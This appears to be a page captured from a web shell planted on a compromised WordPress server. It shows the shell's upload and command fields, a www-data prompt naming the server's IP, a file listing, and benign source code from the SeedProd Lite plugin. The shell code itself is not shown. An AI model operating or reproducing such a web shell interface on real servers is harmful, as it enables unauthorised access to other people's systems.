[ Avaa Bypassed ]




Upload:

Command:

www-data@18.119.29.99: ~ $
<?php

	/**
	 * Display admin bar when active
	 */
function seedprod_lite_admin_bar_menu( $wp_admin_bar ) {

	$ts                = get_option( 'seedprod_settings' );
	$seedprod_settings = json_decode( $ts, true );

	// get preview mode
	$theme_preview_mode = get_option( 'seedprod_theme_template_preview_mode' );
	if ( ! empty( $theme_preview_mode ) ) {
		$theme_preview_mode = true;
	} else {
		$theme_preview_mode = false;
	}

	// if (empty($seedprod_settings['enable_coming_soon_mode']) && empty($seedprod_settings['enable_maintenance_mode'])) {
	//     return false;
	// }

	// Disable if page line editor open
	$pl_edit = isset( $_GET['pl_edit'] ) ? sanitize_text_field( wp_unslash( $_GET['pl_edit'] ) ) : null; // phpcs:ignore WordPress.Security.NonceVerification.Recommended
	if ( $pl_edit ) {
		return false;
	}

	$icon = '
        <span class="seedprod-mb-icon"><svg width="22" height="23" viewBox="0 0 22 23" fill="none" xmlns="http://www.w3.org/2000/svg">
        <g filter="url(#filter0_d)">
        <path fill-rule="evenodd" clip-rule="evenodd" d="M4 0C4 0 4.32666 0.022488 11.036 0.91214C17.7453 1.80179 20.0674 8.70527 15.9594 14.7304C16.5949 9.34689 15.4319 3.76206 10.7604 3.10916C6.08886 2.45626 6.49574 2.5563 6.49574 2.5563C6.49574 2.5563 6.57314 3.74204 7.01149 6.92954C7.44984 10.117 9.90279 11.6803 12.0495 12.485C12.0495 12.485 12.1754 8.75455 10.9777 7.1126C9.77997 5.47066 8.2899 4.38023 8.2899 4.38023C8.2899 4.38023 11.7916 4.80636 13.1137 7.28431C14.4358 9.76225 14.307 15 14.307 15L12.8808 14.9251C9.04318 14.4574 5.45792 12.1126 4.84831 7.19318C4.23871 2.27373 4 0 4 0Z" fill="black"/>
        <path fill-rule="evenodd" clip-rule="evenodd" d="M4 0C4 0 4.32666 0.022488 11.036 0.91214C17.7453 1.80179 20.0674 8.70527 15.9594 14.7304C16.5949 9.34689 15.4319 3.76206 10.7604 3.10916C6.08886 2.45626 6.49574 2.5563 6.49574 2.5563C6.49574 2.5563 6.57314 3.74204 7.01149 6.92954C7.44984 10.117 9.90279 11.6803 12.0495 12.485C12.0495 12.485 12.1754 8.75455 10.9777 7.1126C9.77997 5.47066 8.2899 4.38023 8.2899 4.38023C8.2899 4.38023 11.7916 4.80636 13.1137 7.28431C14.4358 9.76225 14.307 15 14.307 15L12.8808 14.9251C9.04318 14.4574 5.45792 12.1126 4.84831 7.19318C4.23871 2.27373 4 0 4 0Z" fill="white"/>
        </g>
        <defs>
        <filter id="filter0_d" x="0" y="0" width="22" height="23" filterUnits="userSpaceOnUse" color-interpolation-filters="sRGB">
        <feFlood flood-opacity="0" result="BackgroundImageFix"/>
        <feColorMatrix in="SourceAlpha" type="matrix" values="0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 127 0"/>
        <feOffset dy="4"/>
        <feGaussianBlur stdDeviation="2"/>
        <feColorMatrix type="matrix" values="0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0.25 0"/>
        <feBlend mode="normal" in2="BackgroundImageFix" result="effect1_dropShadow"/>
        <feBlend mode="normal" in="SourceGraphic" in2="effect1_dropShadow" result="shape"/>
        </filter>
        </defs>
        </svg></span>';
	$text = '<span>SeedProd</span>';
	if ( ! empty( $seedprod_settings['enable_coming_soon_mode'] ) ) {
		$text = '<span>' . __( 'Coming Soon Mode Active', 'coming-soon' ) . '</span>';
	} elseif ( ! empty( $seedprod_settings['enable_maintenance_mode'] ) ) {
		$text = '<span>' . __( 'Maintenance Mode Active', 'coming-soon' ) . '</span>';
	} elseif ( ! empty( $theme_preview_mode ) ) {
		$text = '<span>' . __( 'Theme Preview Mode Active', 'coming-soon' ) . '</span>';
	}

	$notification = '';

	//Add the main siteadmin menu item
	$wp_admin_bar->add_menu(
		array(
			'id'     => 'seedprod_admin_bar',
			'href'   => admin_url() . 'admin.php?page=seedprod_lite#/',
			'parent' => 'top-secondary',
			'title'  => $icon . $text . $notification,
			'meta'   => array( 'class' => 'seedprod-mode-active' ),
		)
	);

	// $args = array(
	//     'id'    => 'media_settings',
	//     'title' => 'Media Settings',
	//     'href'  => admin_url() . 'options-media.php',
	//     'parent' => 'seedprod_admin_bar'
	// );
	// $wp_admin_bar->add_node( $args );

}

// nonce covered by menu item capability.

Filemanager

Name Type Size Permission Actions
backwards Folder 0777
includes Folder 0777
admin-bar-menu.php File 3.95 KB 0644
bootstrap.php File 20.46 KB 0644
class-seedprod-notifications.php File 9.63 KB 0644
class-seedprod-review.php File 5.97 KB 0644
cpt.php File 541 B 0644
edit_with_seedprod.php File 21.33 KB 0644
functions-addons.php File 14.32 KB 0644
functions-inline-help.php File 5.3 KB 0644
functions-rafflepress.php File 1.86 KB 0644
functions-seedprod-gallery.php File 7 B 0644
functions-utils.php File 254.24 KB 0644
functions-wpforms.php File 1.6 KB 0644
import-cross-site-functions.php File 3.2 KB 0644
license.php File 5.33 KB 0644
load_controller.php File 1.62 KB 0644
lpage.php File 32.25 KB 0644
nestednavmenu.php File 4.63 KB 0644
render-csp-mm.php File 9.72 KB 0644
render-lp.php File 1.15 KB 0644
routes.php File 21.73 KB 0644
settings.php File 4.9 KB 0644
setup-wizard.php File 12.08 KB 0644
subscriber.php File 2.58 KB 0644
theme-templates.php File 38.5 KB 0644